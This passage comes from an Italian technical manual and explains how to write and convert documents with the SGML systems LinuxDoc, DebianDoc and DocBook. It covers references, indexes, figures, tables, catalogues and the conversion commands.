Un elemento '**`pageref`**' di comporta come puntatore o riferimento a un'etichetta. All'interno di un documento stampato genera un riferimento al numero della pagina che contiene l'etichetta.[2]

Si tratta di un elemento vuoto che contiene un attributo obbligatorio, '**`ID`**', destinato a contenere il nome dell'etichetta a cui si intende fare riferimento.

Un elemento '**`url`**' si comporta come riferimento a un URI. All'interno di un documento stampato genera la rappresentazione di questo indirizzo URI, mentre in un documento HTML crea un riferimento ipertestuale vero e proprio. Un elemento '**`htmlurl`**' si comporta in maniera analoga, ma non riporta l'indirizzo URI nel documento stampato.[3]

Si tratta di elementi vuoti che contengono un attributo obbligatorio, '**`URL`**', destinato a indicare l'indirizzo URI a cui si intende fare riferimento, e uno opzionale, '**`NAME`**'. Si osservi la differenza tra i due tipi di puntatori attraverso l'esempio seguente:

```
<url url="http://ildp.psy.unipd.it/" name="ILDP">
&egrave; il progetto di documentazione di Linux in italiano.

<htmlurl url="http://ildp.psy.unipd.it/" name="ILDP">
&egrave; il progetto di documentazione di Linux in italiano.
```

Nel primo caso, assieme al valore dell'attributo '**`NAME`**' viene visualizzato anche l'URI, mentre nel secondo viene mostrato solo il valore di '**`NAME`**'.

L'elemento '**`footnote`**' permette di inserire una nota che da stampare a piè di pagina (ma potrebbe non funzionare correttamente nella composizione in HTML).

```
LinuxDoc &egrave; una derivazione di
Qwertz<footnote>Il nome della tastiera tedesca.</footnote>.
```

65.1.2.9 Indici

Il sistema è in grado di generare automaticamente l'indice generale del documento e un indice analitico. Per ottenere l'indice generale è sufficiente inserire l'elemento '**toc**' (vuoto) subito dopo il preambolo. L'esempio seguente mostra in che modo si può inserire un indice di questo tipo.

```
<!DOCTYPE linuxdoc SYSTEM>

<article>

<titlepag>
<title>Il mio primo articolo</title>
<author>Pinco Pallino, pincop@dinkel.brot.dg</author>
<date>v0.01, 29 febbraio 1999</date>
<abstract>
Breve anticipazione del contenuto del documento.
</abstract>
</titlepag>

<toc>

<sect>Prima sezione
<p>
Contenuto della prima sezione.

</article>
```

Ogni tipo di conversione in un formato finale del documento SGML gestisce la generazione dell'indice generale a modo proprio. Di solito sono garantiti solo due livelli di titoli (sezioni).

L'indice analitico potrebbe essere disponibile solo per la conversione attraverso LaTeX. Si ottiene marcando alcune porzioni di testo attraverso l'elemento '**nidx**', oppure '**ncdx**', come nell'esempio seguente:

```
<sect>Pallini e sfere<nidx>pallino</nidx><ncdx>sfera</ncdx>
<p>
Questa sezione tratta di pallini e sfere in generale, fino a giungere
alla descrizione dei cuscinetti a sfera.<nidx>cuscinetto a sfera</nidx>
```

Quanto contenuto all'interno degli elementi '**nidx**' e '**ncdx**' non viene a fare parte del testo; tutte le conversioni che non possono farne uso lo trattano come un commento da ignorare. La conversione in LaTeX genera corrispondentemente il comando LaTeX '**\index{...}**', ma nel caso particolare di '**ncdx**', vengono aggiunti dei codici di composizione in modo tale che nell'indice la stringa corrispondente appaia evidenziata con un testo dattilografico.

Per usare in pratica l'indice analitico, occorrono diverse fasi:

- la generazione del documento finale attraverso LaTeX;
- la generazione di un file indice, sempre attraverso LaTeX;
- la rielaborazione del file indice;
- la costruzione di un documento finale attraverso l'indice, in modo da poterlo abbinare al documento principale.

La generazione del file indice avviene attraverso il comando seguente:

```
sgml2latex --makeindex sorgente_sgml
```

Si ottiene un file, il cui nome ha la stessa radice del sorgente SGML e l'aggiunta dell'estensione '`.idx`'. Questo file deve essere rielaborato da '**`makeindex`**' che è un programma abbinato alle distribuzioni comuni di LaTeX.

```
makeindex < indice_generato > indice_rielaborato
```

Il file dell'indice rielaborato potrebbe avere la fisionomia dell'esempio seguente:

```
\begin{theindex}

  \item cuscinetto a sfera, 1
  \item cuscino, 15

  \indexspace

  \item pallino, 87
  \item pallone, 82
  \item pallottola, 54, 55
  \item pallottoliere, 50

  \indexspace

  \item {\tt sfera}, 30, 43
  \item steroide, 23

\end{theindex}
```

Per giungere a un risultato finale, cartaceo, occorre aggiungergli qualcosa in modo che diventi un documento LaTeX vero e proprio. Come nell'esempio seguente:

```
\documentclass[a4paper]{article}

\usepackage[italian]{babel}
```

```
\usepackage[utf8x]{inputenc}
\usepackage[T1]{fontenc}

\begin{document}

\begin{theindex}

  \item cuscinetto a sfera, 1
  \item cuscino, 15

  \indexspace

  \item pallino, 87
  \item pallone, 82
  \item pallottola, 54, 55
  \item pallottoliere, 50

  \indexspace

  \item {\tt sfera}, 30, 43
  \item steroide, 23

\end{theindex}

\end{document}
```

In tal modo, attraverso LaTeX si può passare alla trasformazione in un documento finale DVI; successivamente, attraverso '**dvips**', si può ottenere una trasformazione in PostScript.

```
latex documento_latex
```

```
dvips -o documento_ps documento_dvi
```

65.1.2.10 Inclusione di immagini

All'interno di un documento è possibile fare riferimento a immagini in formato EPS (*Encapsulated PostScript*), che vengono utilizzate nella trasformazione in PostScript attraverso LaTeX e '**dvips**'. Parallelamente è possibile fare anche riferimento a immagini (di solito equivalenti) in formati diversi, adatti alla trasformazione in HTML.

L'elemento '**figure**' racchiude le informazioni necessarie per l'inserzione di un'immagine. All'interno del marcatore di apertura è possibile specificare la posizione prescelta dell'immagine, per la trasformazione attraverso LaTeX, utilizzando l'attributo '**LOC**' (*location*). In pratica conviene quasi sempre utilizzare la stringa '**htbp**' che dice a LaTeX di collocare l'immagine nel posto più adatto, cominciando dalla posizione di partenza (*here*), quindi nella parte

superiore della pagina (*top*), poi ancora nella parte inferiore (*bottom*) e infine, se ogni tentativo fallisce, in una pagina dedicata (*page*). Il valore predefinito di questo attributo è '**tbp**' con il significato che si può intuire.

```
<figure LOC=htbp>
        <eps file="esempio" height="5cm">
</figure>
```

L'esempio indica di visualizzare l'immagine 'esempio.ps' collocata nella directory 'figure/' a partire dalla posizione corrente.

L'elemento '**eps**' serve all'interno di un elemento '**figure**' per definire il file da visualizzare utilizzando l'attributo '**FILE**'. Questo file viene poi utilizzato nella composizione in PostScript attraverso LaTeX. Il nome del file che viene fornito **non** deve contenere l'estensione '.ps' che è sottintesa e obbligatoria. Un altro attributo obbligatorio è '**HEIGHT**', con cui si definisce l'altezza dell'immagine. L'esempio già mostrato in precedenza, specificava a questo proposito un'altezza di 5 cm. La larghezza viene regolata in proporzione.

L'elemento '**img**' serve invece a definire il file da visualizzare per la composizione in HTML. Anche in questo caso si utilizza l'attributo '**FILE**'. Al contrario del caso di '**eps**', il nome del file che viene fornito deve essere indicato completo di estensione.

```
<figure LOC=tbp>
        <eps file="esempio" height="5cm">
        <img src="figure/esempio.jpg">
</figure>
```

L'esempio indica di includere l'immagine 'esempio.ps', per la composizione attraverso LaTeX, e 'esempio.jpg' per quella in HTML.

L'elemento '**caption**' può essere usato all'interno della definizione di una figura per indicare la descrizione o il titolo della figura stessa. All'interno di questa descrizione si può inserire anche un'etichetta, l'elemento '**label**', in modo da permettere un riferimento al numero della figura all'interno del testo.

```
<figure LOC=tbp>
        <eps file="esempio" height="5cm">
        <img src="figure/esempio.jpg">
        <caption>
                <label id="figura-esempio">
                Immagine di esempio
        </caption>
</figure>
```

L'esempio inserisce la figura rappresentata dal file 'esempio.ps', nel caso di trasformazione in LaTeX, oppure 'esempio.jpg' in caso di trasformazione in HTML; inoltre appare una descrizione e un'etichetta per potervi fare riferimento.

65.1.2.11 Tabelle

All'interno di un documento è possibile inserire delle tabelle, ma questo solo se si intende trasformare il proprio documento in LaTeX. In HTML si riesce a ottenere qualcosa, ma decisamente scadente. Per questo motivo, l'uso delle tabelle deve essere riservato ai casi di effettiva necessità.

Le tabelle sono composte essenzialmente da righe separate da un separatore di riga, dove ogni riga è suddivisa a sua volta in colonne attraverso un separatore di colonna.

L'elemento '**`table`**' delimita la zona di descrizione di una tabella. All'interno del marcatore di apertura è possibile specificare la posizione prescelta della tabella, utilizzando l'attributo '**`LOC`**' (*location*), che si comporta nello stesso modo di quello utilizzato nell'elemento '**`figure`**'.

L'elemento '**`tabular`**', interno a '**`table`**', definisce le caratteristiche di una tabella. All'interno del marcatore di apertura è necessario specificare l'allineamento orizzontale del contenuto delle celle e la separazione di queste attraverso linee verticali. l'attributo utilizzato per questo è '**`CA`**' (*Column alignment*) e il suo valore consigliabile è una stringa composta da una serie di lettere '**`l`**', una per ogni colonna esistente nella tabella.

Le righe della tabella sono concluse dall'elemento '**`rowsep`**', mentre le colonne sono staccate l'una dall'altra attraverso l'elemento '**`colsep`**'. È possibile inserire una linea orizzontale di separazione utilizzando l'elemento '**`hline`**'. Tutti questi elementi di descrizione delle righe, sono vuoti.

Si osservi questo esempio. Si suppone di voler rappresentare una tabella di quattro righe, più una di intestazione, divisa in due sole colonne, secondo lo schema seguente:

```
-----------------------------------------
Parametro LOC   Posizione corrispondente
-----------------------------------------
h               posizione attuale
t               superiore
b               inferiore
p               pagina
-----------------------------------------
        Esempio di tabella.
```

Il codice necessario è quello mostrato di seguito.

```
<table LOC=tbp>
<tabular colonne="2">
        <hline>
        Parametro loc   <sepcol> Posizione corrispondente     <rowsep>
        <hline>
        h               <sepcol> posizione attuale            <rowsep>
        t               <sepcol> superiore                    <rowsep>
        b               <sepcol> inferiore                    <rowsep>
        p               <sepcol> pagina                       <rowsep>
        <hline>
</tabular>
<caption>
        <label id="tabella-esempio">
        Esempio di tabella.
</caption>
</table>
```

65.1.2.12 Mappa dei caratteri

Alcuni caratteri che all'interno di LinuxDoc hanno un significato speciale, oltre a quelli che sono al di fuori della codifica ASCII standard, possono essere inseriti nel testo finale utilizzando dei codici macro; precisamente si tratta delle entità standard.[4]

Questi codici macro sono preceduti dalla e-commerciale ('`&`') e seguiti da un punto e virgola. Nel capitolo 63 appare una tabella riferita alle entità standard di uso comune nell'SGML. Si tratta precisamente della tabella 63.25.

65.1.3 Struttura di DebianDoc

La struttura di un sorgente SGML secondo il DTD DebianDoc ricalca quello che si può vedere dall'esempio seguente:

```
<!DOCTYPE debiandoc PUBLIC "-//DebianDoc//DTD DebianDoc//EN">
<debiandoc>
    <book>
        <titlepag>
            <title>Titolo del documento</title>
            <author>
                <name>Pinco Pallino</name>
                <email>ppallino@dinkel.brot.dg</email>
            </author>
            <version>29/02/1999</version>
            <abstract>
                Breve introduzione al documento.
            </abstract>
            <copyright>
                <copyrightsummary>
                    Copyright &copy; 1999 Pinco Pallino
```

```
            </copyrightsummary>

            <p>This work is free; you can redistribute it and/or
            modify it under the terms of the GNU General Public
            License as published by the Free Software Foundation;
            either version 2 of the License, or (at your option)
            any later version.</p>

        </copyright>
    </titlepag>

    <toc detail="sect">

    <chapt id="primo-capitolo">
        <heading>Primo capitolo</heading>

        <p>Contenuto del primo capitolo,
        ...
        ...
        </p>

        <sect id="prima-sezione">
            <heading>Prima sezione del primo capitolo</heading>

            <p>Contenuto della prima sezione,
            ...
            ...
            </p>

        </sect>
        ...
        ...
    </chapt>
    ...
    ...
    <appendix id=prima-appendice>
            <heading>Prima appendice</heading>

            <p>...
            ...
            </p>

    </appendix>
    ...
    ...
</book>
```

```
</debiandoc>
```

Si può osservare una grande affinità con il DTD LinuxDoc, dove spicca in particolare il fatto che le etichette per la realizzazione di riferimenti incrociati sono inserite come attributi '**ID**' degli elementi di suddivisione del testo: '**chapt**', '**sect**',...

DebianDoc presume quindi che si tratti di un libro suddiviso in capitoli, gli elementi '**chapt**', quindi in sezioni a vari livelli: '**sect**', '**sect1**', '**sect2**', '**sect3**' e '**sect4**'.

È speciale anche l'elemento di dichiarazione dell'indice generale, '**toc**', che prevede l'attributo '**DETAIL**', al quale si deve assegnare il nome del livello di suddivisione che si ritiene indispensabile includere nell'indice generale: nell'esempio mostrato vengono inclusi solo i capitoli e le sezioni del livello iniziale.

65.1.3.1 Organizzazione del catalogo, del DTD e delle entità

Dal punto di vista dell'SGML, DebianDoc è organizzato con un catalogo unico, che contiene le indicazioni seguenti:

```
DOCTYPE debiandoc                                  dtd/debiandoc.dtd
PUBLIC "-//DebianDoc//DTD DebianDoc//EN"           dtd/debiandoc.dtd
ENTITY %general-chars                              entities/general
```

Queste righe vengono aggiunte al catalogo del sistema, corrispondente a '`/usr/share/sgml/catalog`', che in pratica è un collegamento simbolico al file '`/etc/sgml.catalog`'. Leggendo le dichiarazioni del catalogo si intende che il DTD DebianDoc è costituito dal file '`dtd/debiandoc.dtd`', ovvero '`/usr/share/sgml/dtd/debiandoc.dtd`'; inoltre, si vede che viene usato un solo file di entità generali: '`entities/general`', ovvero '`/usr/share/sgml/entities/general`'.

65.1.3.2 Utilizzo sommario

Attraverso gli strumenti di DebianDoc, si ottiene un documento finale a partire da un sorgente SGML. Per questo, si elabora il sorgente come si fa con un linguaggio di programmazione durante la compilazione.

`debiandoc2dvi [-k] [-p` ***formato_carta***`]` ***file_sgml***

`debiandoc2dvips [-k] [-p` ***formato_carta***`]` ***file_sgml***

`debiandoc2html [-k]` ***file_sgml***

`debiandoc2info [-k]` ***file_sgml***

```
debiandoc2latex2e [-k] [-O] [--] file_sgml
```

```
debiandoc2lout [-k] [-O] [--] file_sgml
```

```
debiandoc2ps [-k] [-O] [-1] [-p formato_carta] [--] file_sgml
```

```
debiandoc2texinfo [-k] [-O] [--] file_sgml
```

```
debiandoc2text [-k] [-O] [--] file_sgml
```

```
debiandoc2textov [-k] [-O] [--] file_sgml
```

Ognuno di questi comandi elencati rappresenta un modo differente di elaborare e convertire un sorgente SGML scritto secondo il DTD DebianDoc. Il significato dei nomi dovrebbe essere intuitivo: '**debiandoc2html**' significa evidentemente «DebianDoc to HTML», ovvero, «da DebianDoc a HTML». Lo stesso vale, più o meno, per gli altri comandi. In breve:

- '**debiandoc2latex2e**' produce un file LaTeX;
- '**debiandoc2dvi**' produce un file DVI attraverso l'elaborazione con il sistema di composizione LaTeX;
- '**debiandoc2dvips**' produce un file PostScript attraverso l'elaborazione con il sistema di composizione LaTeX;
- '**debiandoc2html**' produce una trasformazione in HTML, distribuita su più file con estensione '`.html`', collocati in una directory il cui nome corrisponde alla radice del file sorgente;
- '**debiandoc2texinfo**' produce un file in formato Texinfo;
- '**debiandoc2info**' produce un file di documentazione Info, attraverso il sistema di composizione Texinfo;
- '**debiandoc2lout**' produce un file adatto per il sistema di composizione Lout;
- '**debiandoc2ps**' produce un file PostScript, attraverso l'elaborazione del sistema di composizione Lout, in cui le pagine sono ridotte e raddoppiate (ogni pagina A4 ne contiene due A5, a meno che venga utilizzata l'opzione '**-1**');
- '**debiandoc2text**' produce un file di testo puro e semplice, con un'ampiezza di 79 colonne;

- '**debiandoc2textov**' produce un file di testo con i codici di arretramento per ottenere gli effetti di evidenziamento e sottolineatura per la visualizzazione su schermo.

Opzione	Descrizione
`-k`	Fa in modo che i file intermedi, creati durante il procedimento di conversione, vengano conservati.
`-O`	Fa in modo che il risultato finale della trasformazione venga emesso attraverso lo standard output, quando di solito si crea invece un file con la stessa radice dell'origine e un'estensione opportuna. Se il sorgente è fornito attraverso lo standard input, questa opzione è implicita.
`-1`	Questa opzione riguarda espressamente '**debiandoc2ps**', che senza di questa, genera un file PostScript in cui ogni pagina ne contiene due ridotte e affiancate (per mezzo di PSUtils). Con questa opzione, si ottengono pagine normali (singole).
`-p` ***dimensione_pagina***	Questa opzione permette di specificare la dimensione della pagina, nelle trasformazioni in cui ciò può avere senso, facendo riferimento alla configurazione del pacchetto Papersize della distribuzione Debian.
`--`	In caso di ambiguità, un trattino doppio serve a separare le opzioni dal nome del file sorgente.

65.1.4 Guida rapida di DebianDoc

Dal momento che DebianDoc è molto simile a LinuxDoc e che la sua documentazione è abbastanza chiara, non è il caso di ripetere le stesse informazioni anche in questo capitolo. Eventualmente si può rileggere quello precedente. Qui vengono mostrati solo i prospetti riassuntivi degli elementi SGML principali di DebianDoc, attraverso delle tabelle.

Tabella 65.37. Elementi della struttura generale di un documento DebianDoc.

Elemento	Descrizione
`debiandoc`	Il contenitore di un documento DebianDoc.
`book`	Il sotto-contenitore di un documento DebianDoc.
`titlepag`	La definizione della pagina del titolo.
`title`	Il titolo del documento.
`author`	L'autore (scomposto ulteriormente).
`name`	Il nome dell'autore.
`email`	L'indirizzo di posta elettronica dell'autore.
`version`	La versione del documento.
`abstract`	Una descrizione breve del contenuto.
`copyright`	Informazioni sul copyright.

Elemento	Descrizione
copyrightsummary	Il copyright, in breve.
p	La descrizione della licenza.
toc	L’indice generale.
chapt	Il contenitore di un capitolo.
appendix	Il contenitore di un’appendice.

Tabella 65.38. Elementi che rappresentano la suddivisione gerarchica del contenuto di un documento DebianDoc.

Elemento	Descrizione
chapt	Il contenitore di un capitolo.
appendix	Il contenitore di un’appendice (si articola come il capitolo).
sect	Sezione di un capitolo o di un’appendice.
sect1	Sotto-sezione di primo livello.
sect2	Sotto-sezione di secondo livello.
sect3	Sotto-sezione di terzo livello.
sect4	Sotto-sezione di quarto livello.
heading	Il titolo di: capitolo, appendice, sezione o sotto-sezione.

Tabella 65.39. Elementi che si utilizzano nel corpo del testo per modificare l’aspetto del loro contenuto in base al significato che rappresentano.

Elemento	Descrizione
em	Enfasi normale (idealmente un corsivo).
strong	Enfasi più forte (idealmente un neretto).
var	Rappresentazione di una metavariabile (di uno schema sintattico).
package	Il nome di un pacchetto GNU/Linux.
prgn	Il nome di un programma o di un file ben conosciuto.
file	Il percorso di un file o di una directory.
tt	Una stringa letterale dattilografica.

Tabella 65.40. Riferimenti.

Elemento	Descrizione
`ref id="`***etichetta***`"`	Riferimento a un'etichetta dichiarata altrove.
`manref name="`***nome***`" ↩ ↪section="`***n_sezione***`"`	Riferimento a una pagina di manuale.
`email`	Contenitore di un indirizzo di posta elettronica.
`ftpsite`	Il nome di dominio di un sito FTP.
`ftppath`	Il percorso riferito all'ultimo sito FTP indicato.
`httpsite`	Il nome di dominio di un sito HTTP.
`httppath`	Il percorso riferito all'ultimo sito HTTP indicato.
`url id="`***uri***`" name="`***nome***`"`	Indirizzo URI completo.
`footnote`	Nota a piè pagina.

Tabella 65.41. Elenchi.

Elemento	Descrizione
`list`	Elenco puntato.
`item`	Voce di un elenco.
`enumlist`	Elenco numerato.
`item`	Voce di un elenco.
`taglist`	Elenco descrittivo.
`tag`	Elemento descrittivo.
`item`	Voce di un elemento.

65.2 Introduzione a DocBook

DocBook è un formato per la composizione di documenti tecnici che ha l'intento di essere onnicomprensivo. Dal lato pratico, DocBook è essenzialmente un DTD, realizzato originariamente per l'SGML, successivamente adattato e ridotto a XML. Naturalmente, l'importanza di un DTD è minima se poi mancano degli strumenti di composizione adeguati. DocBook è molto complesso e gli strumenti realizzati attorno a lui sono diversi e in continua evoluzione.

In questo capitolo viene mostrato solo un utilizzo superficiale di strumenti per la composizione abbinati a DocBook, soprattutto in considerazione della dinamicità con cui queste cose si evolvono. Può essere molto utile la lettura di *DocBook demystification HOWTO*, di Eric S.

Raymond, per avere una visione di insieme sulle strade che si possono scegliere per arrivare al risultato di proprio interesse.

65.2.1 Edizioni e varianti del DTD

L'importanza di DocBook è paragonabile a HTML; da questo fatto si può comprendere la presenza di diverse versioni e varianti di questo formato di composizione. Tra queste varianti possono essere interessanti anche quelle che cercano di ridurre il tutto a una struttura più semplice, pur rimanendo compatibile con quella generale complessiva, quasi come avviene con un formato HTML «stretto» (*strict*).

Se i vari DTD DocBook sono stati installati correttamente (dipende probabilmente dall'organizzazione della propria distribuzione GNU), dovrebbe essere sufficiente indicare l'intestazione corretta nel proprio sorgente per fare riferimento al DTD che si preferisce.

65.2.2 Esperimenti con il DTD e convalida

Per cominciare a fare qualche esperimento con il DTD DocBook, occorre almeno uno strumento di convalida, di solito il pacchetto SP di James Clark. Nella propria distribuzione GNU/Linux, questo pacchetto potrebbe essere disponibile da solo (come avviene nella distribuzione Debian), oppure assieme a Jade (come avviene nella distribuzione Red Hat). Quello che conta è, per iniziare, che sia disponibile l'eseguibile '**`nsgmls`**'.

Senza entrare nel dettaglio dell'SGML di DocBook, si può prendere l'esempio seguente come base per gli esperimenti.

```
<!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook XML V4.2//EN"
        "http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd">
<book id="book" lang="it">
<bookinfo>
  <title>Il mio primo libro con DocBook</title>
  <authorgroup>
    <author>
      <surname>Pallino</surname>
      <firstname>Pinco</firstname>
    </author>
  </authorgroup>
  <editor>
    <surname>Cai</surname>
    <firstname>Caio</firstname>
  </editor>
  <legalnotice>
    <para>Copyright &copy; 1999 Pinco Pallino</para>

    <para>This work is free; you can redistribute it and/or modify it
    under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.</para>
  </legalnotice>
</bookinfo>
```

```
<chapter>
<title>Primo capitolo</title>

<para>Contenuto del primo capitolo, bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.</para>

<para>bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla.</para>

<sect1>
<title>Prima sezione del primo capitolo</title>

<para>Contenuto della prima sezione, bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.</para>

<para>bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla.</para>

</sect1>
</chapter>
<appendix>
<title>Prima appendice</title>

<para>Contenuto della prima appendice, bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.</para>

<para>bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla.</para>

</appendix>

</book>
```

La verifica si fa nel modo già visto tante altre volte. Supponendo di voler fare riferimento al catalogo contenuto nel file '`/usr/share/sgml/catalog`' e supponendo di avere chiamato il sorgente SGML '`libro.sgml`':

$ **`nsgmls -s -c /usr/share/sgml/catalog libro.sgml`** [*Invio*]

Eventualmente, se il pacchetto di programmi che contiene SP è stato compilato in modo coerente con l'impostazione SGML della propria distribuzione, potrebbe non essere necessario indicare espressamente il file del catalogo:

$ **`nsgmls -s libro.sgml`** [*Invio*]

A questo punto, disponendo di un analizzatore SGML che funziona correttamente con questo DTD, si potrebbero realizzare i propri strumenti per la trasformazione in un risultato adatto alla consultazione: cartacea o elettronica.

Purtroppo può capitare di disporre di DTD DocBook che non sono stati realizzati in modo accurato. In questi casi si possono osservare una serie di segnalazioni di errori che dipendono da file estranei al proprio. Dal momento che '**nsgmls**' ha un limite massimo di errori predefinito, dopo il quale non ne mostra altri, potrebbe essere necessario utilizzare l'opzione '**-E**' per estenderlo, andando poi a cercare gli errori riferiti direttamente al file di proprio interesse:

$ **nsgmls -E1000 -s libro.sgml** [*Invio*]

65.2.3 Strumenti per la composizione

All'inizio del capitolo si è accennato al fatto che gli strumenti di composizione che si avvalgono di DocBook sono diversi, ma forse nessuno può dirsi abbastanza maturo per poter essere scelto senza alcun dubbio. In condizioni normali, senza entrare nel dettaglio di questi strumenti, potrebbero essere disponibili degli script che facilitano la produzione di un certo formato finale prescelto. Potrebbe trattarsi di nomi come quelli seguenti:

db2ps ***file_sgml_docbook*** | docbook2ps ***file_sgml_docbook***

db2pdf ***file_sgml_docbook*** | docbook2pdf ***file_sgml_docbook***

db2rtf ***file_sgml_docbook*** | docbook2rtf ***file_sgml_docbook***

db2html ***file_sgml_docbook*** | docbook2html ***file_sgml_docbook***

In generale, quindi, uno script del tipo '**db2*nome***' o '**docbook2*nome***' sta a indicare una conversione da DocBook al formato indicato dal ***nome***. In pratica, lo script va letto mnemonicamente come: *from docbook to* ***x***.

65.2.4 Struttura generale

Un documento DocBook si può articolare in modi differenti. Per prima cosa si distingue il tipo di documento; i casi principali si possono ridurre a: raccolta, libro o articolo. Lo schema della struttura di un libro si può semplificare nel modo seguente:

```
<!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook XML V4.2//EN"
        "http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd">
<book>
<bookinfo>
    …
</bookinfo>
{<part>}
    <chapter>
        {<sect1>
            {<sect2>
                {<sect3>
                    {<sect4>
                        {<sect5>
                            …
                        </sect5>}
                        …
                    </sect4>}
                    …
                </sect3>}
                …
            </sect2>}
            …
        </sect1>}
        …
    </chapter>
{<part>}
…
{<appendix>
    {<sect1>
        …
    </sect1>}
</appendix>}
{<glossary>
    …
</glossary>}
</book>
```

La struttura che appare è incompleta e serve solo per avere un'idea dell'articolazione di un libro secondo DocBook. Si può osservare che a differenza di HTML, le sezioni di un documento (parti, capitoli e sezioni di livello inferiore) sono ben delimitate attraverso un elemento appropriato.

Una raccolta, ovvero un documento molto grande diviso in volumi, può essere strutturato nel modo seguente, dove naturalmente ogni elemento '**book**' si può articolare come già visto a proposito della struttura a volume singolo:

```
<!DOCTYPE set PUBLIC "-//OASIS//DTD DocBook XML V4.2//EN"
        "http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd">
<set>
<setinfo>
    …
</setinfo>
<book>
    …
<book>
…
</set>
```

Un articolo, ovvero un documento di piccole dimensioni, può essere strutturato nel modo seguente:

```
<!DOCTYPE article PUBLIC "-//OASIS//DTD DocBook XML V4.2//EN"
        "http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd">
<article>
<articleinfo>
    …
</articleinfo>
{<sect1>
    {<sect2>
        {<sect3>
            {<sect4>
                {<sect5>
                    …
                </sect5>}
                …
            </sect4>}
            …
        </sect3>}
        …
    </sect2>}
    …
</sect1>}
…
</article>
```

Gli attributi più importanti che si possono usare con gli elementi che delimitano porzioni di testo, specie se si tratta di quelli che lo dividono in sezioni (parti, capitoli, ecc.), sono '**`id`**' e '**`lang`**'. Il primo serve a indicare una stringa di identificazione, che in seguito può essere usata per fare un riferimento incrociato; il secondo stabilisce il linguaggio, attraverso una sigla espressa secondo lo standard ISO 639 (tabella 14.4), cosa che può riflettersi in vario modo in fase di composizione.

Nei modelli mostrati, riferiti rispettivamente al libro, alla raccolta e all'articolo, appare inizialmente un elemento destinato all'inserimento di informazioni particolari: '**`bookinfo`**', '**`setinfo`**' e '**`articolinfo`**'. Questi due elementi sono paragonabili all'intestazione di un file HTML, dove va collocato il titolo, i dati dell'autore o degli autori, assieme a tutte le altre informazioni generali riferite all'opera. Il modello seguente semplifica questa struttura:

```
<bookinfo>|<setinfo>|<articleinfo>
    <title>titolo</title>
    <authorgroup>
        <author>
            <firstname>nome_autore</firstname>
            <familyname>cognome_autore</familyname>
        </author>
        ...
    </authorgroup>
    <keywordset>
        <keyword>parola_chiave</keyword>
        ...
    </keywordset>
    <abstract>
        descrizione_del_documento
    </abstract>
    <legalnotice>
        note_legali_sul_documento
    </legalnotice>
    <edition>dati_dell'edizione</edition>
</bookinfo>|</setinfo>|</articleinfo>
```

65.2.5 Corpo del documento

L'elemento più comune che appare nel corpo del documento e anche in altri contesti che lo richiedono è il paragrafo:

```
<para>testo</para>
```

Così come avviene nella maggior parte dei sistemi SGML (o XML), il paragrafo rappresenta un blocco di testo elementare, che contiene può contenere altri elementi che però non costituiscono un altro blocco separato.

Nelle sezioni seguenti vengono descritti altri elementi comuni del corpo del documento, senza però entrare nel dettaglio delle caratteristiche e delle possibilità di questi.

65.2.5.1 Elenchi

DocBook dispone di una discreta quantità di elenchi differenti. L'elenco più semplice è definito dall'elemento '**simplelist**', allo scopo di annotare una serie di voci, senza un'estetica o uno scopo particolare:

```
<simplelist>
<member>prima_voce_dell'elenco</member>
<member>seconda_voce_dell'elenco</member>
...
<member>ultima_voce_dell'elenco</member>
</simplelist>
```

L'elenco puntato classico si ottiene con l'elemento '**itemizedlist**':

```
<itemizedlist>
<listitem>blocchi_della_prima_voce</listitem>
<listitem>blocchi_della_seconda_voce</listitem>
...
<listitem>blocchi_dell'ultima_voce</listitem>
</itemizedlist>
```

Si osservi che la differenza più importante tra i due tipi di elenchi appena descritti sta nel fatto che le voci contenute negli elementi '**listitem**' sono costituite da uno o più blocchi di testo (per esempio i paragrafi), mentre l'elemento '**member**' contiene un testo lineare che l'elemento stesso traduce in un blocco unico.

L'elenco numerato si ottiene con l'elemento '**orderedlist**':

```
<orderedlist>
<listitem>blocchi_della_prima_voce</listitem>
<listitem>blocchi_della_seconda_voce</listitem>
...
<listitem>blocchi_dell'ultima_voce</listitem>
</orderedlist>
```

Come si vede, '**orderedlist**' si utilizza nello stesso modo dell'elenco puntato normale, con la differenza che le voci sono numerate.

Gli elenchi descrittivi si ottengono con l'elemento '**`variablelist`**' che appare un po' complesso rispetto a quelli già presentati:

```
<variablelist>
<varlistentry>
    <term>voce_descrittiva</term>
    ...
    <listitem>blocchi_della_voce</listitem>
</varlistentry>
...
</variablelist>
```

Lo schema mostra l'elemento '**`variablelist`**' che può contenere uno o più elementi '**`varlistentry`**', all'interno dei quali, ogni voce contiene una o più descrizioni all'interno di elementi '**`term`**', seguiti da un solo elemento '**`listitem`**' che ha le caratteristiche già viste a proposito degli elenchi puntati e numerati.

Quelli descritti sono elenchi classici che di solito si trovano nella maggior parte dei sistemi di composizione; tuttavia DocBook dispone anche di altri elenchi speciali, che qui non vengono descritti.

65.2.5.2 Tabelle

DocBook offre tabelle molto complesse, la cui realizzazione pratica dipende però dagli strumenti di composizione utilizzati effettivamente. In generale si distinguono due involucri alternativi: l'elemento '**`table`**' e l'elemento '**`informaltable`**'. Nel primo caso si ha una tabella che richiede l'inserimento di un titolo (ovvero di una didascalia); nel secondo questo viene a mancare:

```
<table>
    <title>titolo</title>
    <tgroup cols="n_colonne">
        corpo_della_tabella
    </tgroup>
</table>
```

```
<informaltable>
    <tgroup cols="n_colonne">
        corpo_della_tabella
    </tgroup>
</informaltable>
```

